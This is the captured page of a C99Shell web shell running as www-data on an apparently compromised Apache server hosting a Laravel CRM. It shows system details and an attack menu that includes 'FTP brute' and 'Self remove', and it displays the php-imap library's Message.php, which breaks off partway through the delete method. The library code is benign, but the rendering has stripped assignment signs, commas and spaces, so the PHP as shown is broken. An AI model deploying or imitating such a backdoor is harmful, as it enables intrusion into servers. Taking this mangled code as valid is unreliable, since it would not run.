!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/webklex/php-imap/src/   drwxrwxrwx
Free 13.21 GB of 57.97 GB (22.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Message.php (49.27 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
* File:     Message.php
* Category: -
* Author:   M. Goldenbaum
* Created:  19.01.17 22:21
* Updated:  -
*
* Description:
*  -
*/

namespace Webklex\PHPIMAP;

use 
ReflectionClass;
use 
ReflectionException;
use 
Webklex\PHPIMAP\Exceptions\AuthFailedException;
use 
Webklex\PHPIMAP\Exceptions\ConnectionFailedException;
use 
Webklex\PHPIMAP\Exceptions\EventNotFoundException;
use 
Webklex\PHPIMAP\Exceptions\FolderFetchingException;
use 
Webklex\PHPIMAP\Exceptions\GetMessagesFailedException;
use 
Webklex\PHPIMAP\Exceptions\ImapBadRequestException;
use 
Webklex\PHPIMAP\Exceptions\ImapServerErrorException;
use 
Webklex\PHPIMAP\Exceptions\InvalidMessageDateException;
use 
Webklex\PHPIMAP\Exceptions\MaskNotFoundException;
use 
Webklex\PHPIMAP\Exceptions\MessageContentFetchingException;
use 
Webklex\PHPIMAP\Exceptions\MessageFlagException;
use 
Webklex\PHPIMAP\Exceptions\MessageHeaderFetchingException;
use 
Webklex\PHPIMAP\Exceptions\MessageNotFoundException;
use 
Webklex\PHPIMAP\Exceptions\MessageSizeFetchingException;
use 
Webklex\PHPIMAP\Exceptions\MethodNotFoundException;
use 
Webklex\PHPIMAP\Exceptions\ResponseException;
use 
Webklex\PHPIMAP\Exceptions\RuntimeException;
use 
Webklex\PHPIMAP\Support\AttachmentCollection;
use 
Webklex\PHPIMAP\Support\FlagCollection;
use 
Webklex\PHPIMAP\Support\Masks\MessageMask;
use 
Illuminate\Support\Str;
use 
Webklex\PHPIMAP\Support\MessageCollection;
use 
Webklex\PHPIMAP\Traits\HasEvents;

/**
 * Class Message
 *
 * @package Webklex\PHPIMAP
 *
 * @property integer msglist
 * @property integer uid
 * @property integer msgn
 * @property integer size
 * @property Attribute subject
 * @property Attribute message_id
 * @property Attribute message_no
 * @property Attribute references
 * @property Attribute date
 * @property Attribute from
 * @property Attribute to
 * @property Attribute cc
 * @property Attribute bcc
 * @property Attribute reply_to
 * @property Attribute in_reply_to
 * @property Attribute sender
 *
 * @method integer getMsglist()
 * @method integer setMsglist($msglist)
 * @method integer getUid()
 * @method integer getMsgn()
 * @method integer getSize()
 * @method Attribute getPriority()
 * @method Attribute getSubject()
 * @method Attribute getMessageId()
 * @method Attribute getMessageNo()
 * @method Attribute getReferences()
 * @method Attribute getDate()
 * @method Attribute getFrom()
 * @method Attribute getTo()
 * @method Attribute getCc()
 * @method Attribute getBcc()
 * @method Attribute getReplyTo()
 * @method Attribute getInReplyTo()
 * @method Attribute getSender()
 */
class Message {
    use 
HasEvents;

    
/**
     * Client instance
     *
     * @var ?Client
     */
    
private ?Client $client null;

    
/**
     * Default mask
     *
     * @var string $mask
     */
    
protected string $mask MessageMask::class;

    
/**
     * Used config
     *
     * @var array $config
     */
    
protected array $config = [];

    
/**
     * Attribute holder
     *
     * @var Attribute[]|array $attributes
     */
    
protected array $attributes = [];

    
/**
     * The message folder path
     *
     * @var string $folder_path
     */
    
protected string $folder_path;

    
/**
     * Fetch body options
     *
     * @var ?integer
     */
    
public ?int $fetch_options null;

    
/**
     * @var integer
     */
    
protected int $sequence IMAP::NIL;

    
/**
     * Fetch body options
     *
     * @var bool
     */
    
public bool $fetch_body true;

    
/**
     * Fetch flags options
     *
     * @var bool
     */
    
public bool $fetch_flags true;

    
/**
     * @var ?Header $header
     */
    
public ?Header $header null;

    
/**
     * Raw message body
     *
     * @var string $raw_body
     */
    
protected string $raw_body "";

    
/**
     * Message structure
     *
     * @var ?Structure $structure
     */
    
protected ?Structure $structure null;

    
/**
     * Message body components
     *
     * @var array $bodies
     */
    
public array $bodies = [];

    
/** @var AttachmentCollection $attachments */
    
public AttachmentCollection $attachments;

    
/** @var FlagCollection $flags */
    
public FlagCollection $flags;

    
/**
     * A list of all available and supported flags
     *
     * @var ?array $available_flags
     */
    
private ?array $available_flags null;

    
/**
     * Message constructor.
     * @param integer $uid
     * @param integer|null $msglist
     * @param Client $client
     * @param integer|null $fetch_options
     * @param boolean $fetch_body
     * @param boolean $fetch_flags
     * @param integer|null $sequence
     *
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidMessageDateException
     * @throws MessageContentFetchingException
     * @throws MessageFlagException
     * @throws MessageHeaderFetchingException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function __construct(int $uid, ?int $msglistClient $clientint $fetch_options nullbool $fetch_body falsebool $fetch_flags falseint $sequence null) {
        
$this->boot();

        
$default_mask $client->getDefaultMessageMask();
        if (
$default_mask != null) {
            
$this->mask $default_mask;
        }
        
$this->events["message"] = $client->getDefaultEvents("message");
        
$this->events["flag"] = $client->getDefaultEvents("flag");

        
$this->folder_path $client->getFolderPath();

        
$this->setSequence($sequence);
        
$this->setFetchOption($fetch_options);
        
$this->setFetchBodyOption($fetch_body);
        
$this->setFetchFlagsOption($fetch_flags);

        
$this->client $client;
        
$this->client->openFolder($this->folder_path);

        
$this->setSequenceId($uid$msglist);

        if (
$this->fetch_options == IMAP::FT_PEEK) {
            
$this->parseFlags();
        }

        
$this->parseHeader();

        if (
$this->getFetchBodyOption() === true) {
            
$this->parseBody();
        }

        if (
$this->getFetchFlagsOption() === true && $this->fetch_options !== IMAP::FT_PEEK) {
            
$this->parseFlags();
        }
    }

    
/**
     * Create a new instance without fetching the message header and providing them raw instead
     * @param int $uid
     * @param int|null $msglist
     * @param Client $client
     * @param string $raw_header
     * @param string $raw_body
     * @param array $raw_flags
     * @param null $fetch_options
     * @param null $sequence
     *
     * @return Message
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidMessageDateException
     * @throws MessageContentFetchingException
     * @throws MessageFlagException
     * @throws ReflectionException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public static function make(int $uid, ?int $msglistClient $clientstring $raw_headerstring $raw_body, array $raw_flags$fetch_options null$sequence null): Message {
        
$reflection = new ReflectionClass(self::class);
        
/** @var Message $instance */
        
$instance $reflection->newInstanceWithoutConstructor();
        
$instance->boot();

        
$default_mask $client->getDefaultMessageMask();
        if (
$default_mask != null) {
            
$instance->setMask($default_mask);
        }
        
$instance->setEvents([
                                 
"message" => $client->getDefaultEvents("message"),
                                 
"flag"    => $client->getDefaultEvents("flag"),
                             ]);
        
$instance->setFolderPath($client->getFolderPath());
        
$instance->setSequence($sequence);
        
$instance->setFetchOption($fetch_options);

        
$instance->setClient($client);
        
$instance->setSequenceId($uid$msglist);

        
$instance->parseRawHeader($raw_header);
        
$instance->parseRawFlags($raw_flags);
        
$instance->parseRawBody($raw_body);
        
$instance->peek();

        return 
$instance;
    }

    
/**
     * Create a new message instance by reading and loading a file or remote location
     *
     * @throws RuntimeException
     * @throws MessageContentFetchingException
     * @throws ResponseException
     * @throws ImapBadRequestException
     * @throws InvalidMessageDateException
     * @throws ConnectionFailedException
     * @throws ImapServerErrorException
     * @throws ReflectionException
     * @throws AuthFailedException
     * @throws MaskNotFoundException
     */
    
public static function fromFile($filename): Message {
        
$blob file_get_contents($filename);
        if (
$blob === false) {
            throw new 
RuntimeException("Unable to read file");
        }
        return 
self::fromString($blob);
    }

    
/**
     * Create a new message instance by reading and loading a string
     * @param string $blob
     *
     * @return Message
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidMessageDateException
     * @throws MaskNotFoundException
     * @throws MessageContentFetchingException
     * @throws ReflectionException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
public static function fromString(string $blob): Message {
        
$reflection = new ReflectionClass(self::class);
        
/** @var Message $instance */
        
$instance $reflection->newInstanceWithoutConstructor();
        
$instance->boot();

        
$default_mask  ClientManager::getMask("message");
        if(
$default_mask != ""){
            
$instance->setMask($default_mask);
        }else{
            throw new 
MaskNotFoundException("Unknown message mask provided");
        }

        if(!
str_contains($blob"\r\n")){
            
$blob str_replace("\n""\r\n"$blob);
        }
        
$raw_header substr($blob0strpos($blob"\r\n\r\n"));
        
$raw_body substr($blobstrlen($raw_header)+4);

        
$instance->parseRawHeader($raw_header);
        
$instance->parseRawBody($raw_body);

        
$instance->setUid(0);

        return 
$instance;
    }

    
/**
     * Boot a new instance
     */
    
public function boot(): void {
        
$this->attributes = [];

        
$this->config ClientManager::get('options');
        
$this->available_flags ClientManager::get('flags');

        
$this->attachments AttachmentCollection::make([]);
        
$this->flags FlagCollection::make([]);
    }

    
/**
     * Call dynamic attribute setter and getter methods
     * @param string $method
     * @param array $arguments
     *
     * @return mixed
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MessageNotFoundException
     * @throws MethodNotFoundException
     * @throws MessageSizeFetchingException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function __call(string $method, array $arguments) {
        if (
strtolower(substr($method03)) === 'get') {
            
$name Str::snake(substr($method3));
            return 
$this->get($name);
        } elseif (
strtolower(substr($method03)) === 'set') {
            
$name Str::snake(substr($method3));

            if (
in_array($namearray_keys($this->attributes))) {
                return 
$this->__set($namearray_pop($arguments));
            }

        }

        throw new 
MethodNotFoundException("Method " self::class . '::' $method '() is not supported');
    }

    
/**
     * Magic setter
     * @param $name
     * @param $value
     *
     * @return mixed
     */
    
public function __set($name$value) {
        
$this->attributes[$name] = $value;

        return 
$this->attributes[$name];
    }

    
/**
     * Magic getter
     * @param $name
     *
     * @return Attribute|mixed|null
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MessageNotFoundException
     * @throws MessageSizeFetchingException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function __get($name) {
        return 
$this->get($name);
    }

    
/**
     * Get an available message or message header attribute
     * @param $name
     *
     * @return Attribute|mixed|null
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MessageNotFoundException
     * @throws RuntimeException
     * @throws ResponseException
     * @throws MessageSizeFetchingException
     */
    
public function get($name): mixed {
        if (isset(
$this->attributes[$name]) && $this->attributes[$name] !== null) {
            return 
$this->attributes[$name];
        }

        switch (
$name){
            case 
"uid":
                
$this->attributes[$name] = $this->client->getConnection()->getUid($this->msgn)->validate()->integer();
                return 
$this->attributes[$name];
            case 
"msgn":
                
$this->attributes[$name] = $this->client->getConnection()->getMessageNumber($this->uid)->validate()->integer();
                return 
$this->attributes[$name];
            case 
"size":
                if (!isset(
$this->attributes[$name])) {
                    
$this->fetchSize();
                }
                return 
$this->attributes[$name];
        }

        return 
$this->header->get($name);
    }

    
/**
     * Check if the Message has a text body
     *
     * @return bool
     */
    
public function hasTextBody(): bool {
        return isset(
$this->bodies['text']) && $this->bodies['text'] !== "";
    }

    
/**
     * Get the Message text body
     *
     * @return string
     */
    
public function getTextBody(): string {
        if (!isset(
$this->bodies['text'])) {
            return 
"";
        }

        return 
$this->bodies['text'];
    }

    
/**
     * Check if the Message has a html body
     *
     * @return bool
     */
    
public function hasHTMLBody(): bool {
        return isset(
$this->bodies['html']) && $this->bodies['html'] !== "";
    }

    
/**
     * Get the Message html body
     *
     * @return string
     */
    
public function getHTMLBody(): string {
        if (!isset(
$this->bodies['html'])) {
            return 
"";
        }

        return 
$this->bodies['html'];
    }

    
/**
     * Parse all defined headers
     *
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws RuntimeException
     * @throws InvalidMessageDateException
     * @throws MessageHeaderFetchingException
     * @throws ResponseException
     */
    
private function parseHeader(): void {
        
$sequence_id $this->getSequenceId();
        
$headers $this->client->getConnection()->headers([$sequence_id], "RFC822"$this->sequence)->validatedData();
        if (!isset(
$headers[$sequence_id])) {
            throw new 
MessageHeaderFetchingException("no headers found"0);
        }

        
$this->parseRawHeader($headers[$sequence_id]);
    }

    
/**
     * @param string $raw_header
     *
     * @throws InvalidMessageDateException
     */
    
public function parseRawHeader(string $raw_header): void {
        
$this->header = new Header($raw_header);
    }

    
/**
     * Parse additional raw flags
     * @param array $raw_flags
     */
    
public function parseRawFlags(array $raw_flags): void {
        
$this->flags FlagCollection::make([]);

        foreach (
$raw_flags as $flag) {
            if (
str_starts_with($flag"\\")) {
                
$flag substr($flag1);
            }
            
$flag_key strtolower($flag);
            if (
$this->available_flags === null || in_array($flag_key$this->available_flags)) {
                
$this->flags->put($flag_key$flag);
            }
        }
    }

    
/**
     * Parse additional flags
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MessageFlagException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
private function parseFlags(): void {
        
$this->client->openFolder($this->folder_path);
        
$this->flags FlagCollection::make([]);

        
$sequence_id $this->getSequenceId();
        try {
            
$flags $this->client->getConnection()->flags([$sequence_id], $this->sequence)->validatedData();
        } catch (
Exceptions\RuntimeException $e) {
            throw new 
MessageFlagException("flag could not be fetched"0$e);
        }

        if (isset(
$flags[$sequence_id])) {
            
$this->parseRawFlags($flags[$sequence_id]);
        }
    }

    
/**
     * Parse the Message body
     *
     * @return Message
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidMessageDateException
     * @throws MessageContentFetchingException
     * @throws MessageFlagException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function parseBody(): Message {
        
$this->client->openFolder($this->folder_path);

        
$sequence_id $this->getSequenceId();
        try {
            
$contents $this->client->getConnection()->content([$sequence_id], "RFC822"$this->sequence)->validatedData();
        } catch (
Exceptions\RuntimeException $e) {
            throw new 
MessageContentFetchingException("failed to fetch content"0);
        }
        if (!isset(
$contents[$sequence_id])) {
            throw new 
MessageContentFetchingException("no content found"0);
        }
        
$content $contents[$sequence_id];

        
$body $this->parseRawBody($content);
        
$this->peek();

        return 
$body;
    }

    
/**
     * Fetches the size for this message.
     *
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MessageSizeFetchingException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
private function fetchSize(): void {
        
$sequence_id $this->getSequenceId();
        
$sizes $this->client->getConnection()->sizes([$sequence_id], $this->sequence)->validatedData();
         if (!isset(
$sizes[$sequence_id])) {
            throw new 
MessageSizeFetchingException("sizes did not set an array entry for the supplied sequence_id"0);
        }
        
$this->attributes["size"] = $sizes[$sequence_id];
    }

    
/**
     * Handle auto "Seen" flag handling
     *
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MessageFlagException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function peek(): void {
        if (
$this->fetch_options == IMAP::FT_PEEK) {
            if (
$this->getFlags()->get("seen") == null) {
                
$this->unsetFlag("Seen");
            }
        } elseif (
$this->getFlags()->get("seen") == null) {
            
$this->setFlag("Seen");
        }
    }

    
/**
     * Parse a given message body
     * @param string $raw_body
     *
     * @return Message
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidMessageDateException
     * @throws MessageContentFetchingException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function parseRawBody(string $raw_body): Message {
        
$this->structure = new Structure($raw_body$this->header);
        
$this->fetchStructure($this->structure);

        return 
$this;
    }

    
/**
     * Fetch the Message structure
     * @param Structure $structure
     *
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
private function fetchStructure(Structure $structure): void {
        
$this->client?->openFolder($this->folder_path);

        foreach (
$structure->parts as $part) {
            
$this->fetchPart($part);
        }
    }

    
/**
     * Fetch a given part
     * @param Part $part
     */
    
private function fetchPart(Part $part): void {
        if (
$part->isAttachment()) {
            
$this->fetchAttachment($part);
        } else {
            
$encoding $this->getEncoding($part);

            
$content $this->decodeString($part->content$part->encoding);

            
// We don't need to do convertEncoding() if charset is ASCII (us-ascii):
            //     ASCII is a subset of UTF-8, so all ASCII files are already UTF-8 encoded
            //     https://stackoverflow.com/a/11303410
            //
            // us-ascii is the same as ASCII:
            //     ASCII is the traditional name for the encoding system; the Internet Assigned Numbers Authority (IANA)
            //     prefers the updated name US-ASCII, which clarifies that this system was developed in the US and
            //     based on the typographical symbols predominantly in use there.
            //     https://en.wikipedia.org/wiki/ASCII
            //
            // convertEncoding() function basically means convertToUtf8(), so when we convert ASCII string into UTF-8 it gets broken.
            
if ($encoding != 'us-ascii') {
                
$content $this->convertEncoding($content$encoding);
            }

            
$this->addBody($part->subtype ?? ''$content);
        }
    }

    
/**
     * Add a body to the message
     * @param string $subtype
     * @param string $content
     *
     * @return void
     */
    
protected function addBody(string $subtypestring $content): void {
        
$subtype strtolower($subtype);
        
$subtype $subtype == "plain" || $subtype == "" "text" $subtype;

        if (isset(
$this->bodies[$subtype]) && $this->bodies[$subtype] !== null && $this->bodies[$subtype] !== "") {
            if (
$content !== "") {
                
$this->bodies[$subtype] .= "\n".$content;
            }
        } else {
            
$this->bodies[$subtype] = $content;
        }
    }

    
/**
     * Fetch the Message attachment
     * @param Part $part
     */
    
protected function fetchAttachment(Part $part): void {
        
$oAttachment = new Attachment($this$part);

        if (
$oAttachment->getSize() > 0) {
            if (
$oAttachment->getId() !== null && $this->attachments->offsetExists($oAttachment->getId())) {
                
$this->attachments->put($oAttachment->getId(), $oAttachment);
            } else {
                
$this->attachments->push($oAttachment);
            }
        }
    }

    
/**
     * Fail proof setter for $fetch_option
     * @param $option
     *
     * @return Message
     */
    
public function setFetchOption($option): Message {
        if (
is_long($option) === true) {
            
$this->fetch_options $option;
        } elseif (
is_null($option) === true) {
            
$config ClientManager::get('options.fetch'IMAP::FT_UID);
            
$this->fetch_options is_long($config) ? $config 1;
        }

        return 
$this;
    }

    
/**
     * Set the sequence type
     * @param int|null $sequence
     *
     * @return Message
     */
    
public function setSequence(?int $sequence): Message {
        if (
is_long($sequence)) {
            
$this->sequence $sequence;
        } elseif (
is_null($sequence)) {
            
$config ClientManager::get('options.sequence'IMAP::ST_MSGN);
            
$this->sequence is_long($config) ? $config IMAP::ST_MSGN;
        }

        return 
$this;
    }

    
/**
     * Fail proof setter for $fetch_body
     * @param $option
     *
     * @return Message
     */
    
public function setFetchBodyOption($option): Message {
        if (
is_bool($option)) {
            
$this->fetch_body $option;
        } elseif (
is_null($option)) {
            
$config ClientManager::get('options.fetch_body'true);
            
$this->fetch_body is_bool($config) ? $config true;
        }

        return 
$this;
    }

    
/**
     * Fail proof setter for $fetch_flags
     * @param $option
     *
     * @return Message
     */
    
public function setFetchFlagsOption($option): Message {
        if (
is_bool($option)) {
            
$this->fetch_flags $option;
        } elseif (
is_null($option)) {
            
$config ClientManager::get('options.fetch_flags'true);
            
$this->fetch_flags is_bool($config) ? $config true;
        }

        return 
$this;
    }

    
/**
     * Decode a given string
     * @param $string
     * @param $encoding
     *
     * @return string
     */
    
public function decodeString($string$encoding): string {
        switch (
$encoding) {
            case 
IMAP::MESSAGE_ENC_BINARY:
                if (
extension_loaded('imap')) {
                    return 
base64_decode(\imap_binary($string));
                }
                return 
base64_decode($string);
            case 
IMAP::MESSAGE_ENC_BASE64:
                return 
base64_decode($string);
            case 
IMAP::MESSAGE_ENC_QUOTED_PRINTABLE:
                return 
quoted_printable_decode($string);
            case 
IMAP::MESSAGE_ENC_8BIT:
            case 
IMAP::MESSAGE_ENC_7BIT:
            case 
IMAP::MESSAGE_ENC_OTHER:
            default:
                return 
$string;
        }
    }

    
/**
     * Convert the encoding
     * @param $str
     * @param string $from
     * @param string $to
     *
     * @return mixed|string
     */
    
public function convertEncoding($strstring $from "ISO-8859-2"string $to "UTF-8"): mixed {

        
$from EncodingAliases::get($from);
        
$to EncodingAliases::get($to);

        if (
$from === $to) {
            return 
$str;
        }

        
// We don't need to do convertEncoding() if charset is ASCII (us-ascii):
        //     ASCII is a subset of UTF-8, so all ASCII files are already UTF-8 encoded
        //     https://stackoverflow.com/a/11303410
        //
        // us-ascii is the same as ASCII:
        //     ASCII is the traditional name for the encoding system; the Internet Assigned Numbers Authority (IANA)
        //     prefers the updated name US-ASCII, which clarifies that this system was developed in the US and
        //     based on the typographical symbols predominantly in use there.
        //     https://en.wikipedia.org/wiki/ASCII
        //
        // convertEncoding() function basically means convertToUtf8(), so when we convert ASCII string into UTF-8 it gets broken.
        
if (strtolower($from ?? '') == 'us-ascii' && $to == 'UTF-8') {
            return 
$str;
        }

        if (
function_exists('iconv') && !EncodingAliases::isUtf7($from) && !EncodingAliases::isUtf7($to)) {
            try {
                return 
iconv($from$to.'//IGNORE'$str);
            } catch (
\Exception $e) {
                return @
iconv($from$to$str);
            }
        } else {
            if (!
$from) {
                return 
mb_convert_encoding($str$to);
            }
            return 
mb_convert_encoding($str$to$from);
        }
    }

    
/**
     * Get the encoding of a given abject
     * @param object|string $structure
     *
     * @return string
     */
    
public function getEncoding(object|string $structure): string {
        if (
property_exists($structure'parameters')) {
            foreach (
$structure->parameters as $parameter) {
                if (
strtolower($parameter->attribute) == "charset") {
                    return 
EncodingAliases::get($parameter->value"ISO-8859-2");
                }
            }
        } elseif (
property_exists($structure'charset')) {
            return 
EncodingAliases::get($structure->charset"ISO-8859-2");
        } elseif (
is_string($structure) === true) {
            return 
EncodingAliases::detectEncoding($structure);
        }

        return 
'UTF-8';
    }

    
/**
     * Get the messages folder
     *
     * @return ?Folder
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function getFolder(): ?Folder {
        return 
$this->client->getFolderByPath($this->folder_path);
    }

    
/**
     * Create a message thread based on the current message
     * @param Folder|null $sent_folder
     * @param MessageCollection|null $thread
     * @param Folder|null $folder
     *
     * @return MessageCollection
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws FolderFetchingException
     * @throws GetMessagesFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function thread(Folder $sent_folder nullMessageCollection &$thread nullFolder $folder null): MessageCollection {
        
$thread $thread ?: MessageCollection::make([]);
        
$folder $folder ?: $this->getFolder();
        
$sent_folder $sent_folder ?: $this->client->getFolderByPath(ClientManager::get("options.common_folders.sent""INBOX/Sent"));

        
/** @var Message $message */
        
foreach ($thread as $message) {
            if (
$message->message_id->first() == $this->message_id->first()) {
                return 
$thread;
            }
        }
        
$thread->push($this);

        
$this->fetchThreadByInReplyTo($thread$this->message_id$folder$folder$sent_folder);
        
$this->fetchThreadByInReplyTo($thread$this->message_id$sent_folder$folder$sent_folder);

        foreach (
$this->in_reply_to->all() as $in_reply_to) {
            
$this->fetchThreadByMessageId($thread$in_reply_to$folder$folder$sent_folder);
            
$this->fetchThreadByMessageId($thread$in_reply_to$sent_folder$folder$sent_folder);
        }

        return 
$thread;
    }

    
/**
     * Fetch a partial thread by message id
     * @param MessageCollection $thread
     * @param string $in_reply_to
     * @param Folder $primary_folder
     * @param Folder $secondary_folder
     * @param Folder $sent_folder
     *
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws FolderFetchingException
     * @throws GetMessagesFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
protected function fetchThreadByInReplyTo(MessageCollection &$threadstring $in_reply_toFolder $primary_folderFolder $secondary_folderFolder $sent_folder): void {
        
$primary_folder->query()->inReplyTo($in_reply_to)
            ->
setFetchBody($this->getFetchBodyOption())
            ->
leaveUnread()->get()->each(function($message) use (&$thread$secondary_folder$sent_folder) {
                
/** @var Message $message */
                
$message->thread($sent_folder$thread$secondary_folder);
            });
    }

    
/**
     * Fetch a partial thread by message id
     * @param MessageCollection $thread
     * @param string $message_id
     * @param Folder $primary_folder
     * @param Folder $secondary_folder
     * @param Folder $sent_folder
     *
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws GetMessagesFailedException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
protected function fetchThreadByMessageId(MessageCollection &$threadstring $message_idFolder $primary_folderFolder $secondary_folderFolder $sent_folder): void {
        
$primary_folder->query()->messageId($message_id)
            ->
setFetchBody($this->getFetchBodyOption())
            ->
leaveUnread()->get()->each(function($message) use (&$thread$secondary_folder$sent_folder) {
                
/** @var Message $message */
                
$message->thread($sent_folder$thread$secondary_folder);
            });
    }

    
/**
     * Copy the current Messages to a mailbox
     * @param string $folder_path
     * @param boolean $expunge
     *
     * @return null|Message
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidMessageDateException
     * @throws MessageContentFetchingException
     * @throws MessageFlagException
     * @throws MessageHeaderFetchingException
     * @throws MessageNotFoundException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function copy(string $folder_pathbool $expunge false): ?Message {
        
$this->client->openFolder($folder_path);
        
$status $this->client->getConnection()->examineFolder($folder_path)->validatedData();

        if (isset(
$status["uidnext"])) {
            
$next_uid $status["uidnext"];
            if ((int)
$next_uid <= 0) {
                return 
null;
            }

            
/** @var Folder $folder */
            
$folder $this->client->getFolderByPath($folder_path);

            
$this->client->openFolder($this->folder_path);
            if (
$this->client->getConnection()->copyMessage($folder->path$this->getSequenceId(), null$this->sequence)->validatedData()) {
                return 
$this->fetchNewMail($folder$next_uid"copied"$expunge);
            }
        }

        return 
null;
    }

    
/**
     * Move the current Messages to a mailbox
     * @param string $folder_path
     * @param boolean $expunge
     *
     * @return Message|null
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidMessageDateException
     * @throws MessageContentFetchingException
     * @throws MessageFlagException
     * @throws MessageHeaderFetchingException
     * @throws MessageNotFoundException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function move(string $folder_pathbool $expunge false): ?Message {
        
$this->client->openFolder($folder_path);
        
$status $this->client->getConnection()->examineFolder($folder_path)->validatedData();

        if (isset(
$status["uidnext"])) {
            
$next_uid $status["uidnext"];
            if ((int)
$next_uid <= 0) {
                return 
null;
            }

            
/** @var Folder $folder */
            
$folder $this->client->getFolderByPath($folder_path);

            
$this->client->openFolder($this->folder_path);
            if (
$this->client->getConnection()->moveMessage($folder->path$this->getSequenceId(), null$this->sequence)->validatedData()) {
                return 
$this->fetchNewMail($folder$next_uid"moved"$expunge);
            }
        }

        return 
null;
    }

    
/**
     * Fetch a new message and fire a given event
     * @param Folder $folder
     * @param int $next_uid
     * @param string $event
     * @param boolean $expunge
     *
     * @return Message
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidMessageDateException
     * @throws MessageContentFetchingException
     * @throws MessageFlagException
     * @throws MessageHeaderFetchingException
     * @throws MessageNotFoundException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
protected function fetchNewMail(Folder $folderint $next_uidstring $eventbool $expunge): Message {
        if (
$expunge$this->client->expunge();

        
$this->client->openFolder($folder->path);

        if (
$this->sequence === IMAP::ST_UID) {
            
$sequence_id $next_uid;
        } else {
            
$sequence_id $this->client->getConnection()->getMessageNumber($next_uid)->validatedData();
        }

        
$message $folder->query()->getMessage($sequence_idnull$this->sequence);
        
$event $this->getEvent("message"$event);
        
$event::dispatch($this$message);

        return 
$message;
    }

    
/**
     * Delete the current Message
     * @param bool $expunge
     * @param string|null $trash_path
     * @param boolean $force_move
     *
     * @return bool
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidMessageDateException
     * @throws MessageContentFetchingException
     * @throws MessageFlagException
     * @throws MessageHeaderFetchingException
     * @throws MessageNotFoundException
     * @throws RuntimeException
     * @throws ResponseException
     */
    
public function delete(bool $expunge truestring $trash_path nullbool $force_move false): bool {
        
$status $this->setFlag("Deleted");
        if (
$force_move) {
            
$trash_path $trash_path === null $this->config["common_folders"]["trash"] : $trash_path;
            
$this->move($trash_path);
        }
        if (
$expunge$this->client->expunge();

        
